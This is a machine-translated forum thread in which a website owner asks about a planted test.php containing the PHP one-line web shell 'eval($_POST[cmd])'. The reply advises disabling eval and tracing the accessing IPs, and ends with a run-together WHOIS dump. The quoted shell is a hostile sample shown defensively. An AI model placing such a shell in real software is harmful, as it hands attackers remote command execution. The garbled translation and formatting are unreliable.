Php vulnerability question urgent solution

The php vulnerability is urgent... we do not know how to add test. php content to our website: & lt ;? Phpeval ($ _ POST [cmd]);? & Gt; I found a lot of information and didn't see a rough picture .. 1. I want to know how this is generally injected into our website ?? 2. What role does it play ?? Other original files on our website should not be injected too... ------ solution ------------------- php vulnerability urgent question ....
We do not know how to add test. php to our website.

The content is as follows:



I found a lot of information and I didn't see a rough idea ..

1. I want to know how this is generally injected into our website ??

2. What role does it play ??

Other original files on our website should not be injected too...

------ Solution --------------------
1. first, disable the eval function in php. ini (check whether this function is not used in the system-this function is rarely used in common systems)
2. search for all IP addresses that access test. php.

Collect the information and report the case.

BatchFile code

inetnum: 222.32.0.0 - 222.63.255.255netname: CRTCdescr: CHINA RAILWAY TELECOMMUNICATIONS CENTERdescr: 22F Yuetan Mansion,Xicheng District,Beijing,P.R.Chinacountry: CNadmin-c: LQ112-APtech-c: LM273-APstatus: ALLOCATED PORTABLEmnt-by: MAINT-CNNIC-APchanged: [email protected] 20030902source: APNICroute: 222.32.0.0/11descr: CHINA RAILWAY TELECOMMUNICATIONS CENTERcountry: CNorigin: AS9394mnt-by: MAINT-CN-CRTCchanged: [email protected] 20040402source: APNICperson: LV QIANGnic-hdl: LQ112-APe-mail: [email protected]address: 22F Yuetan Mansion,Xicheng District,Beijing,P.R.Chinaphone: +86-10-51892111fax-no: +86-10-51847845country: CNchanged: [email protected] 20060911mnt-by: MAINT-CNNIC-APsource: APNICperson: liu minnic-hdl: LM273-APe-mail: [email protected]address: 22F Yuetan Mansion,Xicheng District,Beijing,P.R.Chinaphone: +86-10-51848796fax-no: +86-10-51842426country: CNchanged: [email protected] 20041208mnt-by: MAINT-CNNIC-APsource: APNICinetnum: 222.32.0.0 - 222.63.255.255netname: CRTCdescr: CHINA RAILWAY TELECOMMUNICATIONS CENTERdescr: 22F Yuetan Mansion,Xicheng District,Beijing,Chinacountry: CNadmin-c: LQ112-CNtech-c: LM273-CNstatus: ALLOCATED PORTABLEchanged: [email protected] 20030902mnt-by: MAINT-CNNIC-APsource: CNNICperson: LV QIANGnic-hdl: LQ112-CNe-mail: [email protected]address: 22F Yuetan Mansion,Xicheng District,Beijingphone: +86-10-51892111fax-no: +86-10-51847845country: CNchanged: [email protected] 20060419mnt-by: MAINT-CNNIC-APsource: CNNICperson: liu minnic-hdl: LM273-CNe-mail: [email protected]address: 22F Yuetan Mansion,Xicheng District,Beijing,P.R.Chinaphone: +86-10-51848796fax-no: +86-10-51842426country: CNchanged: [email protected] 20041208mnt-by: MAINT-CNNIC-APsource: CNNIC